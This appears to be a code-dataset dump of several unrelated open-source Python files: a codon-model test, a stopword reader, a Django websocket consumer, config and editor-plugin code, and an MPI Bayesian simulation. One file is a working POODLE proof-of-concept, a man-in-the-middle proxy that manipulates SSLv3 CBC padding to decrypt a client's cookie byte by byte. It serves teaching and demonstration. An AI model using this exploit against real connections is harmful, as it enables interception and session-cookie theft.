model = Codons.buildCodonML( codon_model,
num_blocks=num_blocks,
grammar_type="linear-blocks",
shared_frequencies = False,
shared_rates = True,
**kwargs)
self.checkModel(model)
num_blocks = 2
model = Codons.buildCodonML( codon_model,
num_blocks=num_blocks,
grammar_type="linear-blocks",
shared_frequencies = True,
shared_rates = True,
**kwargs)
self.checkModel(model)
## test model with annotations
## build annotation
labels = string.letters.upper()
annotate_terminals = {}
for x in range(num_blocks):
annotations = []
key = []
for c in range( 0,3 ):
t = "B%i_COD%i" % (x, c)
key.append(t)
annotations.append( Annotation( row = "STATE",
column = t,
label = labels[x % len(labels)] ))
annotate_terminals[ tuple(key) ] = annotations
model = Codons.buildCodonML( codon_model,
num_blocks=2,
grammar_type="linear-blocks",
shared_frequencies = True,
annotate_terminals = annotate_terminals,
**kwargs )
# print model.getGrammar()
self.checkModel(model)
def checkModel(self, model ):
"""check a model."""
model.getGrammar()
frequencies = model.evaluateTerminalFrequencies()
matrix = model.evaluateRateMatrix()
if __name__ == '__main__':
unittest.main()
|
ihh/dart
|
python/XGram/Tests/GeneratorCodonsTest.py
|
Python
|
gpl-2.0
| 6,123
|
import codecs
import logging
logger = logging.getLogger(__name__)
class TextAnalyzer:
def __init__(self):
logger.debug('-- Initializing TextAnalyzer --')
"""
Deze functie leest een stopwoorden file (stoplist_tno.tab) in en retourneert deze woorden in
een dictionary
"""
def readStopWordsFile(self, strStopFile):
if not strStopFile:
strStopFile = self._stopWordsFile
""" read stopwords from file as dictionary. """
stopWords = {}
try:
f = codecs.open(strStopFile,'rU','utf-8') # NB. Use 'U'-mode for UniversalNewline Support
for line in f.readlines():
word = line.partition('::')[0].strip()#.decode('utf-8')
stopWords[word] = 1
f.close()
except IOError, e:
msg = 'Can\'t open stopfile %s for reading. %s' % (strStopFile, str(e))
logger.error(msg)
return None
return stopWords
|
beeldengeluid/linkedtv-editortool
|
src/linkedtv/text/TextAnalyzer.py
|
Python
|
gpl-2.0
| 1,003
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Poodle implementation with a client <--> proxy <--> server
'''
import argparse
import random
import re
import select
import socket
import SocketServer
import ssl
import string
import sys
import struct
import threading
import time
from utils.color import draw
from pprint import pprint
from struct import *
class SecureTCPHandler(SocketServer.BaseRequestHandler):
def handle(self):
self.request = ssl.wrap_socket(self.request, keyfile="cert/localhost.pem", certfile="cert/localhost.pem", server_side=True, ssl_version=ssl.PROTOCOL_SSLv3)
#loop to avoid broken pipe
while True:
try:
data = self.request.recv(1024)
if data == '':
break
self.request.send(b'OK')
except ssl.SSLError as e:
pass
return
class Server:
"""The secure server.
A sample server, serving on his host and port waiting the client
"""
def __init__(self, host, port):
self.host = host
self.port = port
def connection(self):
SocketServer.TCPServer.allow_reuse_address = True
self.httpd = SocketServer.TCPServer((self.host, self.port), SecureTCPHandler)
server = threading.Thread(target=self.httpd.serve_forever)
server.daemon=True
server.start()
print('Server is serving HTTPS on {!r} port {}'.format(self.host, self.port))
return
def get_host(self):
return self.host
def get_port(self):
return self.port
def disconnect(self):
print('Server stop serving HTTPS on {!r} port {}'.format(self.host, self.port))
self.httpd.shutdown()
return
class Client:
""" The unsecure post of the client can be a "unsecure" browser for example.
The client generate a random cookie and send it to the server through the proxy
The attacker by injecting javascript code can control the sending request of the client to the proxy -> server
"""
def __init__(self, host, port):
self.proxy_host = host
self.proxy_port = port
self.cookie = ''.join(random.SystemRandom().choice(string.uppercase + string.digits + string.lowercase) for _ in xrange(15))
print draw("Sending request : ", bold=True, fg_yellow=True)
print draw("GET / HTTP/1.1\r\nCookie: " + self.cookie + "\r\n\r\n", bold=True, fg_yellow=True)
def connection(self):
# Initialization of the client
ssl_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ssl_sock = ssl.wrap_socket(ssl_sock, server_side=False, ssl_version=ssl.PROTOCOL_SSLv3)
ssl_sock.connect((self.proxy_host,self.proxy_port))
ssl_sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
self.socket = ssl_sock
return
def request(self, path=0, data=0):
srt_path = ''
srt_data = ''
for x in range(0,path):
srt_path += 'A'
for x in range(0,data):
srt_data += 'D'
try:
self.socket.sendall(b"GET /"+ srt_path +" HTTP/1.1\r\nCookie: " + self.cookie + "\r\n\r\n" + srt_data)
msg = "".join([str(i) for i in self.socket.recv(1024).split(b"\r\n")])
except ssl.SSLError as e:
pass
pass
return
def disconnect(self):
self.socket.close()
return
class ProxyTCPHandler(SocketServer.BaseRequestHandler):
"""
Start a connection to the secure server and handle multiple socket connections between the client and the server
Informe the attacker about the client's frames or the server's response
Finally redirect the data from the client to the server and inversely
"""
def handle(self):
# Connection to the secure server
socket_server = socket.create_connection((server.get_host(), server.get_port()))
# input allow us to monitor the socket of the client and the server
inputs = [socket_server, self.request]
running = True
data_altered = False
length_header = 24
while running:
readable = select.select(inputs, [], [])[0]
for source in readable:
if source is socket_server:
data = socket_server.recv(1024)
if len(data) == 0:
running = False
break
if data_altered is True:
(content_type, version, length) = struct.unpack('>BHH', data[0:5])
if content_type == 23:
poodle.set_decipherable(True)
data_altered = False
# we send data to the client
self.request.send(data)
elif source is self.request:
ssl_header = self.request.recv(5)
if ssl_header == '':
running = False
break
(content_type, version, length) = struct.unpack('>BHH', ssl_header)
data = self.request.recv(length)
if len(data) == 0:
running = False
if length == 32:
length_header = 32
if content_type == 23 and length > length_header:
poodle.set_length_frame(data)
data = poodle.alter()
data_altered = True
# we send data to the server
socket_server.send(ssl_header+data)
return
class Proxy:
""" Assimilate to a MitmProxy
start a serving on his host and port and redirect the data to the server due to this handler
"""
def __init__(self, host, port):
self.host = host
self.port = port
def connection(self):
SocketServer.TCPServer.allow_reuse_address = True
httpd = SocketServer.TCPServer((self.host, self.port), ProxyTCPHandler)
proxy = threading.Thread(target=httpd.serve_forever)
proxy.daemon=True
proxy.start()
print('Proxy is launched on {!r} port {}'.format(self.host, self.port))
self.proxy = httpd
return
def disconnect(self):
print('Proxy is stopped on {!r} port {}'.format(self.host, self.port))
self.proxy.shutdown()
return
class Poodle(Client):
""" Assimilate to the attacker
detect the length of a CBC block
alter the ethernet frame of the client to decipher a byte regarding the proxy informations
"""
def __init__(self, client):
self.client = client
self.length_block = 0
self.start_exploit = False
self.decipherable = False
self.request = ''
self.byte_decipher = 0
def run(self):
self.client_connection()
self.size_of_block()
self.start_exploit = True
# disconnect the client to avoid "connection reset by peer"
self.client_disconect()
print "Start decrypting the request..."
self.exploit()
print '\n'
print draw("%r" %(self.request), bold=True, fg_yellow=True)
print '\n'
self.client_disconect()
return
def exploit(self):
# start at block 1, finish at block n-2
# 0 => IV unknow, n => padding block, n-1 => MAC block
length_f = self.length_frame
for i in range(1,(length_f/self.length_block) - 1):
self.current_block = i
for j in range(self.length_block-1, -1, -1):
(plain, nb_request) = self.find_plaintext_byte(self.frame,j)
self.request += plain
percent = 100.0 * self.byte_decipher / (length_f - 2 * self.length_block)
sys.stdout.write("\rProgression %2.0f%% - client's request %4s - byte found: %r" % (percent, nb_request, plain))
sys.stdout.flush()
return
def choosing_block(self, current_block):
return self.frame[current_block * self.length_block:(current_block + 1) * self.length_block]
def find_plaintext_byte(self, frame, byte):
nb_request = 0
plain = ""
print ''
while True:
self.client_connection()
prefix_length = byte
suffix_length = self.length_block - byte
self.send_request_from_the_client(self.length_block+self.nb_prefix+prefix_length, suffix_length)
# sleep to avoid "connection reset by peer" on macintosh
time.sleep(0.0001)
self.client_disconect()
if self.decipherable is True:
self.byte_decipher += 1
plain = self.decipher(self.frame)
self.decipherable = False
break
nb_request += 1
sys.stdout.write("\rclient's request %4s" % (nb_request))
sys.stdout.flush()
return (chr(plain), nb_request)
def size_of_block(self):
print "Begins searching the size of a block...\n"
self.send_request_from_the_client()
reference_length = self.length_frame
i = 0
while True:
self.send_request_from_the_client(i)
current_length = self.length_frame
self.length_block = current_length - reference_length
if self.length_block != 0:
self.nb_prefix = i
print draw("CBC block size " + str(self.length_block) + "\n", bold=True)
break
i += 1
self.decipherable = False
def decipher(self, data):
return self.choosing_block(self.current_block-1)[-1] ^ self.choosing_block(-2)[-1] ^ (self.length_block-1)
def alter(self):
if self.start_exploit is True:
self.frame = bytearray(self.frame)
self.frame = self.frame[:-self.length_block] + self.choosing_block(self.current_block)
return str(self.frame)
return self.frame
def set_decipherable(self, status):
self.decipherable = status
return
def set_length_frame(self, data):
self.frame = data
self.length_frame = len(data)
def client_connection(self):
self.client.connection()
return
def send_request_from_the_client(self, path=0, data=0):
self.client.request(path,data)
return
def client_disconect(self):
self.client.disconnect()
return
if __name__ == '__main__':
plan = """\
+-----------------+ +------------+ +-----------+
| +-------> | +--------> | |
| Client | | Proxy | | Server |
| | <-------+ | <--------+ |
+-----------------+ +---+---+----+ +-----------+
| |
^ | |
| +-----v---+------+
| | |
--+----------+ Attacker |
inject javascript | |
+----------------+
"""
parser = argparse.ArgumentParser(description='Connection with SSLv3')
parser.add_argument('host', help='hostname or IP address')
parser.add_argument('port', type=int, help='TCP port number')
parser.add_argument('-v', help='debug mode', action="store_true")
args = parser.parse_args()
print plan + "\n"
server = Server(args.host, args.port)
client = Client(args.host, args.port+1)
spy = Proxy(args.host, args.port+1)
poodle = Poodle(client)
server.connection()
spy.connection()
poodle.run()
spy.disconnect()
server.disconnect()
|
rtbn/TER_Project
|
poodle-PoC/poodle.py
|
Python
|
gpl-2.0
| 12,158
|
from asgiref.sync import async_to_sync
from channels.generic.websocket import JsonWebsocketConsumer
from django.conf import settings
from django.utils import timezone
from .models import Route
class BusConsumer(JsonWebsocketConsumer):
groups = ["bus"]
def connect(self):
self.user = self.scope["user"]
headers = dict(self.scope["headers"])
remote_addr = headers[b"x-real-ip"].decode() if b"x-real-ip" in headers else self.scope["client"][0]
if (not self.user.is_authenticated or self.user.is_restricted) and remote_addr not in settings.INTERNAL_IPS:
self.connected = False
self.close()
return
self.connected = True
data = self._serialize(user=self.user)
self.accept()
self.send_json(data)
def receive_json(self, content): # pylint: disable=arguments-differ
if not self.connected:
return
if content.get("type") == "keepalive":
self.send_json({"type": "keepalive-response"})
return
if self.user is not None and self.user.is_authenticated and self.user.is_bus_admin:
try:
if self.within_time_range(content["time"]):
route = Route.objects.get(id=content["id"])
route.status = content["status"]
if content["time"] == "afternoon" and route.status == "a":
route.space = content["space"]
else:
route.space = ""
route.save()
data = self._serialize()
async_to_sync(self.channel_layer.group_send)("bus", {"type": "bus.update", "data": data})
except Exception as e:
# TODO: Add logging
print(e)
self.send_json({"error": "An error occurred."})
else:
self.send_json({"error": "User does not have permissions."})
def bus_update(self, event):
if not self.connected:
return
self.send_json(event["data"])
def _serialize(self, user=None):
all_routes = Route.objects.all()
data = {}
route_list = []
for route in all_routes:
serialized = {
"id": route.id,
"bus_number": route.bus_number,
"space": route.space,
"route_name": route.route_name,
"status": route.status,
}
route_list.append(serialized)
if user and user in route.user_set.all():
data["userRouteId"] = route.id
data["allRoutes"] = route_list
return data
def within_time_range(self, time):
now_hour = timezone.localtime().hour
within_morning = now_hour < settings.BUS_PAGE_CHANGEOVER_HOUR and time == "morning"
within_afternoon = now_hour >= settings.BUS_PAGE_CHANGEOVER_HOUR and time == "afternoon"
return within_morning or within_afternoon
|
tjcsl/ion
|
intranet/apps/bus/consumers.py
|
Python
|
gpl-2.0
| 3,019
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 2002-2018 University of Oslo, Norway
#
# This file is part of Cerebrum.
#
# Cerebrum is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# Cerebrum is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Cerebrum; if not, write to the Free Software Foundation,
# Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA.
""" Server implementation config for bofhd.
History
-------
This class used to be a part of the bofhd server script itself. It was
moved to a separate module after:
commit ff3e3f1392a951a059020d56044f8017116bb69c
Merge: c57e8ee 61f02de
Date: Fri Mar 18 10:34:58 2016 +0100
"""
from __future__ import print_function
import io
def _format_class(module, name):
""" Format a line for the config. """
return u'{0}/{1}'.format(module, name)
class BofhdConfig(object):
""" Container for parsing and keeping a bofhd config. """
def __init__(self, filename=None):
""" Initialize new config. """
self._exts = list() # NOTE: Must keep order!
if filename:
self.load_from_file(filename)
def load_from_file(self, filename):
""" Load config file. """
with io.open(filename, encoding='utf-8') as f:
for lineno, line in enumerate(f, 1):
line = line.strip()
if not line or line.startswith('#'):
continue
try:
mod, cls = line.split("/", 1)
except:
mod, cls = None, None
if not mod or not cls:
raise Exception("Parse error in '%s' on line %d: %r" %
(filename, lineno, line))
self._exts.append((mod, cls))
def extensions(self):
""" All extensions from config. """
for mod, cls in self._exts:
yield mod, cls
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(
description="Parse config and output classes")
parser.add_argument(
'config',
metavar='FILE',
help='Bofhd configuration file')
args = parser.parse_args()
config = BofhdConfig(filename=args.config)
print('Command classes:')
for mod, name in config.extensions():
print('-', _format_class(mod, name))
|
unioslo/cerebrum
|
Cerebrum/modules/bofhd/config.py
|
Python
|
gpl-2.0
| 2,808
|
# -*- coding: utf-8 -*-
# Pluma External Tools plugin
# Copyright (C) 2005-2006 Steve Frécinaux <steve@istique.net>
# Copyright (C) 2012-2021 MATE Developers
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
from gi.repository import Gio, Gdk, Gtk, GtkSource, Pluma
from .outputpanel import OutputPanel
from .capture import *
def default(val, d):
if val is not None:
return val
else:
return d
def current_word(document):
piter = document.get_iter_at_mark(document.get_insert())
start = piter.copy()
if not piter.starts_word() and (piter.inside_word() or piter.ends_word()):
start.backward_word_start()
if not piter.ends_word() and piter.inside_word():
piter.forward_word_end()
return (start, piter)
# ==== Capture related functions ====
def run_external_tool(window, panel, node):
# Configure capture environment
try:
cwd = os.getcwd()
except OSError:
cwd = os.getenv('HOME');
capture = Capture(node.command, cwd)
capture.env = os.environ.copy()
capture.set_env(PLUMA_CWD = cwd)
view = window.get_active_view()
if view is not None:
# Environment vars relative to current document
document = view.get_buffer()
uri = document.get_uri()
# Current line number
piter = document.get_iter_at_mark(document.get_insert())
capture.set_env(PLUMA_CURRENT_LINE_NUMBER=str(piter.get_line() + 1))
# Current line text
piter.set_line_offset(0)
end = piter.copy()
if not end.ends_line():
end.forward_to_line_end()
capture.set_env(PLUMA_CURRENT_LINE=piter.get_text(end))
# Selected text (only if input is not selection)
if node.input != 'selection' and node.input != 'selection-document':
bounds = document.get_selection_bounds()
if bounds:
capture.set_env(PLUMA_SELECTED_TEXT=bounds[0].get_text(bounds[1]))
bounds = current_word(document)
capture.set_env(PLUMA_CURRENT_WORD=bounds[0].get_text(bounds[1]))
capture.set_env(PLUMA_CURRENT_DOCUMENT_TYPE=document.get_mime_type())
if uri is not None:
gfile = Gio.file_new_for_uri(uri)
scheme = gfile.get_uri_scheme()
name = os.path.basename(uri)
capture.set_env(PLUMA_CURRENT_DOCUMENT_URI = uri,
PLUMA_CURRENT_DOCUMENT_NAME = name,
PLUMA_CURRENT_DOCUMENT_SCHEME = scheme)
if Pluma.utils_uri_has_file_scheme(uri):
path = gfile.get_path()
cwd = os.path.dirname(path)
capture.set_cwd(cwd)
capture.set_env(PLUMA_CURRENT_DOCUMENT_PATH = path,
PLUMA_CURRENT_DOCUMENT_DIR = cwd)
documents_uri = [doc.get_uri()
for doc in window.get_documents()
if doc.get_uri() is not None]
documents_path = [Gio.file_new_for_uri(uri).get_path()
for uri in documents_uri
if Pluma.utils_uri_has_file_scheme(uri)]
capture.set_env(PLUMA_DOCUMENTS_URI = ' '.join(documents_uri),
PLUMA_DOCUMENTS_PATH = ' '.join(documents_path))
flags = capture.CAPTURE_BOTH
if not node.has_hash_bang():
flags |= capture.CAPTURE_NEEDS_SHELL
capture.set_flags(flags)
# Get input text
input_type = node.input
output_type = node.output
# Clear the panel
panel.clear()
if output_type == 'output-panel':
panel.show()
# Assign the error output to the output panel
panel.set_process(capture)
if input_type != 'nothing' and view is not None:
if input_type == 'document':
start, end = document.get_bounds()
elif input_type == 'selection' or input_type == 'selection-document':
try:
start, end = document.get_selection_bounds()
except ValueError:
if input_type == 'selection-document':
start, end = document.get_bounds()
if output_type == 'replace-selection':
document.select_range(start, end)
else:
start = document.get_iter_at_mark(document.get_insert())
end = start.copy()
elif input_type == 'line':
start = document.get_iter_at_mark(document.get_insert())
end = start.copy()
if not start.starts_line():
start.set_line_offset(0)
if not end.ends_line():
end.forward_to_line_end()
elif input_type == 'word':
start = document.get_iter_at_mark(document.get_insert())
end = start.copy()
if not start.inside_word():
panel.write(_('You must be inside a word to run this command'),
panel.command_tag)
return
if not start.starts_word():
start.backward_word_start()
if not end.ends_word():
end.forward_word_end()
input_text = document.get_text(start, end, False)
capture.set_input(input_text)
# Assign the standard output to the chosen "file"
if output_type == 'new-document':
tab = window.create_tab(True)
view = tab.get_view()
document = tab.get_document()
pos = document.get_start_iter()
capture.connect('stdout-line', capture_stdout_line_document, document, pos)
document.begin_user_action()
view.set_editable(False)
view.set_cursor_visible(False)
elif output_type != 'output-panel' and output_type != 'nothing' and view is not None:
document.begin_user_action()
view.set_editable(False)
view.set_cursor_visible(False)
if output_type == 'insert':
pos = document.get_iter_at_mark(document.get_mark('insert'))
elif output_type == 'replace-selection':
document.delete_selection(False, False)
pos = document.get_iter_at_mark(document.get_mark('insert'))
elif output_type == 'replace-document':
document.set_text('')
pos = document.get_end_iter()
else:
pos = document.get_end_iter()
capture.connect('stdout-line', capture_stdout_line_document, document, pos)
elif output_type != 'nothing':
capture.connect('stdout-line', capture_stdout_line_panel, panel)
document.begin_user_action()
capture.connect('stderr-line', capture_stderr_line_panel, panel)
capture.connect('begin-execute', capture_begin_execute_panel, panel, view, node.name)
capture.connect('end-execute', capture_end_execute_panel, panel, view, output_type)
# Run the command
capture.execute()
if output_type != 'nothing':
document.end_user_action()
class MultipleDocumentsSaver:
def __init__(self, window, panel, docs, node):
self._window = window
self._panel = panel
self._node = node
self._error = False
self._counter = len(docs)
self._signal_ids = {}
self._counter = 0
signals = {}
for doc in docs:
signals[doc] = doc.connect('saving', self.on_document_saving)
Pluma.commands_save_document(window, doc)
doc.disconnect(signals[doc])
def on_document_saving(self, doc, size, total_size):
self._counter += 1
self._signal_ids[doc] = doc.connect('saved', self.on_document_saved)
def on_document_saved(self, doc, error):
if error:
self._error = True
doc.disconnect(self._signal_ids[doc])
del self._signal_ids[doc]
self._counter -= 1
if self._counter == 0 and not self._error:
run_external_tool(self._window, self._panel, self._node)
def capture_menu_action(action, window, panel, node):
if node.save_files == 'document' and window.get_active_document():
MultipleDocumentsSaver(window, panel, [window.get_active_document()], node)
return
elif node.save_files == 'all':
MultipleDocumentsSaver(window, panel, window.get_documents(), node)
return
run_external_tool(window, panel, node)
def capture_stderr_line_panel(capture, line, panel):
if not panel.visible():
panel.show()
panel.write(line, panel.error_tag)
def capture_begin_execute_panel(capture, panel, view, label):
view.get_window(Gtk.TextWindowType.TEXT).set_cursor(Gdk.Cursor.new(Gdk.CursorType.WATCH))
panel['stop'].set_sensitive(True)
panel.clear()
panel.write(_("Running tool:"), panel.italic_tag);
panel.write(" %s\n\n" % label, panel.bold_tag);
def capture_end_execute_panel(capture, exit_code, panel, view, output_type):
panel['stop'].set_sensitive(False)
if output_type in ('new-document','replace-document'):
doc = view.get_buffer()
start = doc.get_start_iter()
end = start.copy()
end.forward_chars(300)
mtype, uncertain = Gio.content_type_guess(None, doc.get_text(start, end, False).encode('utf-8'))
lmanager = GtkSource.LanguageManager.get_default()
language = lmanager.guess_language(doc.get_uri(), mtype)
if language is not None:
doc.set_language(language)
view.get_window(Gtk.TextWindowType.TEXT).set_cursor(Gdk.Cursor.new(Gdk.CursorType.XTERM))
view.set_cursor_visible(True)
view.set_editable(True)
if exit_code == 0:
panel.write("\n" + _("Done.") + "\n", panel.italic_tag)
else:
panel.write("\n" + _("Exited") + ":", panel.italic_tag)
panel.write(" %d\n" % exit_code, panel.bold_tag)
def capture_stdout_line_panel(capture, line, panel):
panel.write(line)
def capture_stdout_line_document(capture, line, document, pos):
document.insert(pos, line)
# ex:ts=4:et:
|
mate-desktop/pluma
|
plugins/externaltools/tools/functions.py
|
Python
|
gpl-2.0
| 10,724
|
'''
run with ex: mpiexec -n 10 python article_simulated_estimate_mpi.py
Created on Jul 11, 2014
@author: jonaswallin
'''
from __future__ import division
import time
import scipy.spatial as ss
import article_simulatedata
from mpi4py import MPI
import numpy as np
import BayesFlow as bm
import matplotlib
import matplotlib.pyplot as plt
import numpy.random as npr
import BayesFlow.plot as bm_plot
import matplotlib.ticker as ticker
from article_plotfunctions import plotQ_joint, plotQ, plot_theta
folderFigs = "/Users/jonaswallin/Dropbox/articles/FlowCap/figs/"
sim = 10**2
nCells = 1500
thin = 2
nPers = 80
save_fig = 0
Y = []
####
# COLLECTING THE DATA
####
if MPI.COMM_WORLD.Get_rank() == 0: # @UndefinedVariable
Y,act_komp, mus, Thetas, Sigmas, P = np.array(article_simulatedata.simulate_data_v1(nCells = nCells, nPersons = nPers))
else:
Y = None
act_komp = None
#npr.seed(123546)
####
# Setting up model
####
hGMM = bm.hierarical_mixture_mpi(K = 4)
hGMM.set_data(Y)
hGMM.set_prior_param0()
hGMM.update_GMM()
hGMM.update_prior()
hGMM.set_p_labelswitch(1.)
hGMM.set_prior_actiavation(10)
hGMM.set_nu_MH_param(10,200)
for i,GMM in enumerate(hGMM.GMMs):
GMM._label =i
for i in range(min(sim,2000)):
hGMM.sample()
np.set_printoptions(precision=3)
#hGMM.reset_prior()
bm.distance_sort_MPI(hGMM)
hGMM.set_p_activation([0.7,0.7])
if MPI.COMM_WORLD.Get_rank() == 0: # @UndefinedVariable
theta_sim = []
Q_sim = []
nu_sim = []
Y_sim = []
Y0_sim = []
##############
# MCMC PART
##############
##############
# BURN IN
##############
for i in range(min(np.int(np.ceil(0.1*sim)),8000)):#burn in
hGMM.sample()
if MPI.COMM_WORLD.Get_rank() == 0: # @UndefinedVariable
mus_vec = np.zeros((len(Y), hGMM.K, hGMM.d))
actkomp_vec = np.zeros((len(Y), hGMM.K))
count = 0
hGMM.set_p_labelswitch(.4)
for i in range(sim):#
# sampling the thining
for k in range(thin):
# simulating
hGMM.sample()
##
# since label switching affects the posterior of mu, and active_komp
# it needs to be estimated each time
##
labels = hGMM.get_labelswitches()
if MPI.COMM_WORLD.Get_rank() == 0: # @UndefinedVariable
for j in range(labels.shape[0]):
if labels[j,0] != -1:
mus_vec[j,labels[j,0],:], mus_vec[j,labels[j,1],:] = mus_vec[j,labels[j,1],:], mus_vec[j,labels[j,0],:]
actkomp_vec[j,labels[j,0]], actkomp_vec[j,labels[j,1]] = actkomp_vec[j,labels[j,1]], actkomp_vec[j,labels[j,0]]
###################
# storing data
# for post analysis
###################
mus_ = hGMM.get_mus()
thetas = hGMM.get_thetas()
Qs = hGMM.get_Qs()
nus = hGMM.get_nus()
if sim - i < nCells * nPers:
Y_sample = hGMM.sampleY()
active_komp = hGMM.get_activekompontent()
if MPI.COMM_WORLD.Get_rank() == 0: # @UndefinedVariable
print "iter =%d"%i
count += 1
mus_vec += mus_
actkomp_vec += active_komp
theta_sim.append(thetas)
Q_sim.append(Qs/(nus.reshape(nus.shape[0],1,1)- Qs.shape[1]-1) )
nu_sim.append(nus)
# storing the samples equal to number to the first indiviual
if sim - i < nCells:
Y0_sim.append(hGMM.GMMs[0].simulate_one_obs().reshape(3))
Y_sim.append(Y_sample)
if MPI.COMM_WORLD.Get_rank() == 0: # @UndefinedVariable
actkomp_vec /= count
mus_vec /= count
mus_ = mus_vec
hGMM.save_to_file("/Users/jonaswallin/Dropbox/temp/")
##
# fixing ploting options
##
matplotlib.rcParams['ps.useafm'] = True
matplotlib.rcParams['pdf.use14corefonts'] = True
matplotlib.rcParams['text.usetex'] = True
matplotlib.rcParams['text.latex.preamble']=[r"\usepackage{amsmath}"]
#hGMM.plot_GMM_scatter_all([0, 1])
mus_colors = ['r','b','k','m']
f, ax = hGMM.plot_mus([0,1,2], colors =mus_colors, size_point = 5 )
if MPI.COMM_WORLD.Get_rank() == 0: # @UndefinedVariable
######################
#ordering mus
mus_true_mean = []
mus_mean = []
for k in range(hGMM.K):
mus_true_mean.append(np.array(np.ma.masked_invalid(mus[:,k,:]).mean(0)))
mus_mean.append(np.array(np.ma.masked_invalid(mus_[:,k,:].T).mean(0)))
mus_true_mean = np.array(mus_true_mean)
mus_mean = np.array(mus_mean)
ss_mat = ss.distance.cdist( mus_true_mean, mus_mean, "euclidean")
#print ss_mat
col_index = []
for k in range(hGMM.K):
col_index.append( np.argmin(ss_mat[k,:]))
#print col_index
#####################
######################
theta_sim = np.array(theta_sim)
Q_sim = np.array(Q_sim)
nu_sim = np.array(nu_sim)
np.set_printoptions(precision=2)
perc_theta = []
perc_Q_vec = []
for k in range(hGMM.K):
perc_ = np.percentile(theta_sim[:,col_index[k],:] - Thetas[k],[2.5,50,97.5],axis=0)
perc_theta.append(np.array(perc_).T)
#print "%d & %s & %s & %s & \\hline" %(k, np.mean(theta_sim[:,col_index[k],:],0) - Thetas[k],perc_[0],perc_[1])
perc_Q = np.percentile(Q_sim[:,col_index[k],:] - Sigmas[k],[2.5,50,97.5],axis=0)
#print "Q = %s"%(np.mean(Q_sim[:,col_index[k],:],0))
perc_Q_vec.append(perc_Q)
theta_string = ""
Q_string = ""
theta_diff = np.mean(theta_sim[:,col_index[k],:],0) - Thetas[k]
Q_diff = np.mean(Q_sim[:,col_index[k],:] - Sigmas[k] ,0)
for d in range(hGMM.d):
theta_string += " %.2f (%.2f, %.2f) &"%(perc_[1][d], perc_[0][d], perc_[2][d])
for dd in range(hGMM.d):
Q_string += " %.3f (%.3f, %.3f) &"%(perc_Q[1][d,dd],perc_Q[0][d,dd],perc_Q[2][d,dd] )
Q_string = Q_string[:-1]
Q_string +="\\\ \n"
theta_string = theta_string[:-1]
print "theta[%d]= \n%s\n"%(k,theta_string)
print "Q[%d]= \n%s "%(k,Q_string)
perc_nu = np.percentile(nu_sim[:,col_index[k]] - 100,[2.5,50,97.5],axis=0)
print "nu = %.2f (%d, %d)"%(perc_nu[1],perc_nu[0],perc_nu[2])
Y_sim = np.array(Y_sim)
Y0_sim = np.array(Y0_sim)
for k in range(hGMM.K):
k_ = np.where(np.array(col_index)==k)[0][0]
print("k_ == %s"%k_)
mu_k = mus[:,k_,:].T
#print actkomp_vec[:,col_index[k]]
index = np.isnan(mu_k[:,0])==False
ax.scatter(mu_k[index,0],mu_k[index,1],mu_k[index,2], s=50, edgecolor=mus_colors[k],facecolors='none')
ax.view_init(48,22)
fig_nu = plt.figure(figsize=(6,0.5))
ax_nu = fig_nu.add_subplot(111)
for k in range(hGMM.K):
ax_nu.plot(nu_sim[:,col_index[k]])
f_histY = bm_plot.histnd(Y_sim, 50, [0, 100], [0,100])
f_histY0 = bm_plot.histnd(Y0_sim, 50, [0, 100], [0,100])
f_theta = plot_theta(np.array(perc_theta))
figs_Q = plotQ(perc_Q_vec)
fig_Q_joint = plotQ_joint(perc_Q_vec)
np.set_printoptions(precision=4, suppress=True)
for i, GMM in enumerate(hGMM.GMMs):
#print("p[%d,%d] = %s"%(hGMM.comm.Get_rank(),i,GMM.p))
hGMM.comm.Barrier()
if MPI.COMM_WORLD.Get_rank() == 0 and save_fig: # @UndefinedVariable
print col_index
fig_nu.savefig(folderFigs + "nus_simulated.eps", type="eps",transparent=True,bbox_inches='tight')
fig_nu.savefig(folderFigs + "nus_simulated.pdf", type="pdf",transparent=True,bbox_inches='tight')
f.savefig(folderFigs + "dcluster_centers_simulated.eps", type="eps",transparent=True,bbox_inches='tight')
f.savefig(folderFigs + "dcluster_centers_simulated.pdf", type="pdf",transparent=True,bbox_inches='tight')
f_histY.savefig(folderFigs + "hist2d_simulated.eps", type="eps",bbox_inches='tight')
f_histY.savefig(folderFigs + "hist2d_simulated.pdf", type="pdf",bbox_inches='tight')
f_histY0.savefig(folderFigs + "hist2d_indv_simulated.eps", type="eps",bbox_inches='tight')
f_histY0.savefig(folderFigs + "hist2d_indv_simulated.pdf", type="pdf",bbox_inches='tight')
f_theta.savefig(folderFigs + "theta_simulated.pdf", type="pdf",transparent=True,bbox_inches='tight')
f_theta.savefig(folderFigs + "theta_simulated.eps", type="eps",transparent=True,bbox_inches='tight')
fig_Q_joint.savefig(folderFigs + "Qjoint_simulated.pdf", type="pdf",transparent=True,bbox_inches='tight')
fig_Q_joint.savefig(folderFigs + "Qjoint_simulated.eps", type="eps",transparent=True,bbox_inches='tight')
for i,f_Q in enumerate(figs_Q):
f_Q.savefig(folderFigs + "Q%d_simulated.pdf"%(i+1), type="pdf",transparent=True,bbox_inches='tight')
f_Q.savefig(folderFigs + "Q%d_simulated.eps"%(i+1), type="eps",transparent=True,bbox_inches='tight')
else:
plt.show()
|
JonasWallin/BayesFlow
|
examples/article1/article_simulated_estimate_mpi.py
|
Python
|
gpl-2.0
| 8,046
|
from __future__ import with_statement
from fabric.api import local, abort, run, cd, env
